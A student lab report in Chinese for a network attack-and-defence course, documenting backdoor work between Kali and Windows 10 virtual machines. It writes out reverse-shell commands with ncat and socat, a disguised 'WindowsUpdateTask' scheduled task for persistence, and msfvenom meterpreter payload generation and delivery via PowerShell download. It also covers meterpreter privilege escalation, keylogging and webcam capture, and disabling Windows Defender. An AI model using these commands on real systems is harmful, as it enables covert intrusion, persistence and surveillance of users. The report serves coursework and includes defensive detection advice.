20242328 2026-2027-1《网络与系统攻防技术》实验2实验报告
20242328 2026-2027-1《网络与系统攻防技术》实验2实验报告
一、基础知识
本次实验主要围绕后门(Backdoor)技术与免杀原理展开。后门是指绕过系统正常认证流程而获取访问权限的通道,主要包含编译器后门、操作系统后门和应用程序后门等。本次实验重点实践了以下基础知识:
- 后门自启动技术:Linux 下利用 Cron 定时任务,Windows 下利用计划任务(schtasks)实现后门持久化。
- 反弹 Shell 原理:由目标主机主动连接攻击机,从而绕过目标网络的防火墙入站限制。
- Meterpreter 框架:Metasploit 的强大 Payload,支持无文件落地、进程迁移、提权及摄像头/麦克风控制等高级功能。
- 软件溢出漏洞利用:利用栈溢出漏洞,精准计算偏移量覆盖 EIP/RIP 寄存器,从而劫持程序执行流执行 Shellcode 或跳转至后门函数。
二、实验环境与工具
- 攻击机:Kali Linux 虚拟机(IP 地址:192.168.231.129),主机名:chenlitong。
- 靶机:Windows 10 虚拟机(IP 地址:192.168.231.130),主机名:mcserver。
- 使用工具:Netcat (nc/ncat)、Socat、Metasploit Framework (MSF)、GDB 调试器、Python 脚本。
三、实验内容
- 使用 netcat 获取主机 Shell,并利用 cron 启动某项任务实现持久化。
- 使用 socat 获取主机 Shell,并利用任务计划启动。
- 使用 MSF meterpreter 生成可执行文件后门,利用 ncat 传输至主机运行获取 Shell。
- 使用 MSF meterpreter 获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
- 使用 MSF 生成 shellcode,注入到 pwn1 中,获取反弹连接 Shell(或跳转至后门函数)。
四、实验过程
1. 先获取两台虚拟机的 IP 地址
可以发现在同一网段下。


2. 使用 Netcat 获取 Shell 及 Cron 启动
首先,在 Kali 攻击机的终端中执行 nc -lvnp 4444 命令开启本地 4444 端口的监听,等待靶机主动连接。接着,在 Win10 靶机中,打开命令提示符(CMD),进入放置了 ncat.exe 的目录,执行反弹连接命令:ncat.exe -e cmd.exe 192.168.231.129 4444。
执行后,切回 Kali 终端,发现成功接收到了来自靶机(192.168.231.130)的连接,并弹出了 Windows 的 CMD 提示符,此时已成功获取靶机 Shell。
为了维持控制权限,实现后门持久化,我们利用 Linux 的 cron 机制(或者 Windows 计划任务)。在靶机的 CMD 中执行:
schtasks /create /tn "WindowsUpdateTask" /tr "C:\nc\socat_ncat\ncat\ncat\ncat.exe -e cmd.exe 192.168.231.129 4445" /sc minute /mo 1
该命令创建了一个名为 WindowsUpdateTask 的隐藏计划任务,设定为每分钟执行一次,将最高权限的 Shell 持续反弹至 Kali 的 4445 端口。


之后靶机会每分钟弹出一个 Shell。
3. 使用 Socat 获取 Shell 及计划任务启动
在 Kali 端执行 nc -lvnp 5555 监听。在 Win10 靶机中执行 socat.exe TCP:192.168.231.129:5555 EXEC:cmd.exe,pipes。之后在 Kali 虚拟机上可以看到已经获取了靶机的信息。随后,利用 schtasks 创建了名为 SocatBackdoorTask 的定时任务,将包含 ,pipes 的完整反弹命令写入其中,实现了后门的持久化。



4. MSF 生成后门文件并反弹 Shell
首先在 Kali 中,使用以下命令生成了 Windows 平台的 64 位反弹木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.231.129 LPORT=6666 -f exe -o win_backdoor.exe


由于 Win10 浏览器下载会拦截恶意文件,我们在 Kali 的桌面目录开启 python3 -m http.server 80 服务。在 Win10 靶机的 CMD 中,使用 PowerShell 下载命令:
powershell -c "Invoke-WebRequest -Uri 'http://192.168.231.129/win_backdoor.exe' -OutFile 'C:\nc\win_backdoor.exe'"
成功绕过拦截下载木马。



接着,打开 msfconsole,使用 use exploit/multi/handler 加载监听模块,依次设置 payload、LHOST 和 LPORT,执行 run 开启监听。
在靶机双击运行木马后,Kali 的 MSF 终端瞬间收到了反向连接,出现了 Meterpreter session 1 opened 的提示,成功获取到强大的 meterpreter > 交互式会话。

5. Meterpreter 高级功能与提权
在获取的 Meterpreter 会话中,我们进行了一系列敏感信息收集:
(1)提权测试
输入 getuid 发现当前为普通用户权限。随后执行 getsystem,MSF 自动尝试了多种提权技术,最终成功将权限提升至系统最高权限,再次输入 getuid 确认显示为 NT AUTHORITY\SYSTEM。

(2)键盘记录
执行 keyscan_start 开启键盘记录功能,随后在 Win10 靶机中随意打开记事本敲击文字。回到 Kali 执行 keyscan_dump,成功抓取到了明文击键记录。
结果:在靶机下创建一个新建文档并改名为 test 并在文本文档中输入内容。


(3)音视频获取
执行 record_mic -d 5 和 webcam_snap 命令尝试录音和拍照。
record_mic报错The system cannot find the file specified,是因为 Win10 虚拟机没有配置麦克风(音频输入设备)。webcam_snap报错Target does not have a webcam,是因为虚拟机没有挂载物理摄像头。

之后在 Win10 的虚拟机界面进行挂载摄像头之后再运行:


成功在 Kali 获取靶机的摄像头。
6. 生成 Shellcode 注入 pwn1
针对本地靶场程序 pwn1,首先使用 msfvenom -p linux/x86/shell_reverse_tcp 生成 32 位 Linux 反弹 Shellcode。
起初,通过输入测试字符观察 EIP 变化,尝试将溢出偏移量设为 112,并将 ESP 栈地址填入脚本,发现程序虽然接收了 Payload 但并未成功反弹 Shell。通过 GDB 调试发现,该程序的缓冲区较大,传统的填充覆盖思路未能精准命中。
随后转换思路,使用 info functions 命令查看程序的符号表,惊喜地发现程序中隐藏了一个名为 getShell 的函数(地址为 0x0804847d)。这意味着我们无需复杂地注入 Shellcode,只需利用栈溢出漏洞,将函数的返回地址覆盖为该函数地址,即可劫持程序执行流。
编写 Python 脚本,使用 struct.pack("<I", 0x0804847d) 打包地址,构造 [填充字符] + [getShell地址] 的 Payload 并发送给程序。经多次努力尝试无果,未能成功完成任务 5。
五、问题及解决方案
问题 1:在 Win10 虚拟机中下载 netcat 或运行 MSF 生成的木马时,文件被 Windows Defender 拦截并秒删。
解决方案:在做实验前,进入 Windows 安全中心,关闭"病毒和威胁防护"中的"实时保护"功能。同时,利用 Kali 搭建 Python HTTP 服务,通过局域网内部 IP 下载文件,成功绕过浏览器的安全拦截。
问题 2:在生成后门文件后通过浏览器下载遭到拦截。
Win10 虚拟机在用 Edge 浏览器下载后门时,下载文件会报错无法成功下载。
解决方案:因为 Edge 浏览器自带病毒过滤,所以在下载后门时被直接查杀,所以可以直接利用 CMD 指令访问网站并下载后门文件。
问题 3:Socat 在 Windows 下报错"管道不存在"。
在 Win10 靶机执行
socat.exe TCP:192.168.231.129:5555 EXEC:cmd.exe时,程序报错The process tried to write to a nonexistent pipe,同时伴随 Cygwin WARNING 警告。

解决方案:查阅资料得知,Windows 版 Socat 在使用 EXEC 调用 cmd.exe 时,由于标准输入输出流重定向机制差异,必须显式添加
,pipes参数,强制使用 Windows 命名管道。修改后的命令为socat.exe TCP:192.168.231.129:5555 EXEC:cmd.exe,pipes。虽然仍有 Cygwin 警告,但成功绕过了管道错误,顺利反弹 Shell。
问题 4:虚拟机无法获取摄像头和麦克风硬件。
在 Meterpreter 会话中尝试执行
record_mic和webcam_snap时,系统报错提示找不到文件或目标没有摄像头。解决方案:由于实验环境为 VMware 虚拟机,默认未向虚拟机内映射宿主机的物理音视频硬件。通过尝试在 VMware 菜单中连接摄像头设备未能成功识别。这属于物理环境限制,最终以报错截图作为功能验证,理解了 Meterpreter 控制硬件的前提是目标主机具备并启用了相关设备。
六、理论问答
例举你能想到的一个后门进入到系统中的可能方式?
答:常见的方式包括:一是社会工程学/钓鱼攻击,伪装成正常的软件安装包或邮件附件,诱导用户主动点击运行;二是供应链攻击,攻击者入侵软件供应商的服务器,在正规软件的更新包中植入后门;三是利用高危漏洞(如远程代码执行漏洞),无需用户交互即可植入;四是弱口令爆破,通过暴力破解 SSH 或数据库的弱密码,直接获取系统权限并植入后门。
举例你知道的后门如何启动起来(win & linux)的方式?
答:Windows 平台通常利用注册表启动项(如 Run 键)、放置在系统的"启动"文件夹下、注册为 Windows 服务、或者创建计划任务(schtasks)定时拉起。Linux 平台通常利用 cron 定时任务(如本次实验所示)、修改 /etc/rc.local 开机自启脚本、或者篡改用户的 .bashrc 文件,使其在用户打开终端时自动执行。
Meterpreter 有哪些给你印象深刻的功能?
答:印象最深的是它完全在内存中运行,隐蔽性极强,传统的文件查杀很难发现。此外,它的进程迁移(migrate)功能可以保证会话的稳定性;键盘记录(keyscan)和提权(getsystem)功能极其方便,能快速收集用户敏感信息并获取系统最高控制权。
如何发现自己系统有没有被安装后门?
答:可以通过以下方式排查:网络连接检查,使用 netstat 或 ss 命令查看是否有未知的可疑端口正在监听,或异常的外连 IP;自启动项排查,定期检查系统的计划任务、注册表启动项、系统服务列表;进程与账号检查,查看后台是否有伪装的异常进程运行,检查系统中是否多出了未知的特权账号;使用安全工具进行全盘扫描。
七、学习感悟、思考等
通过本次充实而硬核的实验,我深刻体会到了网络安全攻防的实战细节,不再是纸上谈兵。一方面,我掌握了 Netcat、Socat 以及 MSF 等强大工具的使用,也认识到了系统一旦被攻击者进入,通过计划任务等方式植入后门是极易实现的。Meterpreter 的提权与监控能力令人胆寒,一旦被植入,主机就如同"肉鸡"一般毫无隐私可言。
即使最后一个任务未能成功完成但我经过了尝试,也让我意识到在未来的学习和工作中,我会更加注重系统安全防范,不随意点击不明链接,并及时更新系统补丁,做到"知攻善防"。
八、参考资料
- 《网络与系统攻防技术》课程 PPT。
- 实验指导书
- https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x14_VUL_使用netcat进行反弹链接的shellcode.md
浙公网安备 33010602011771号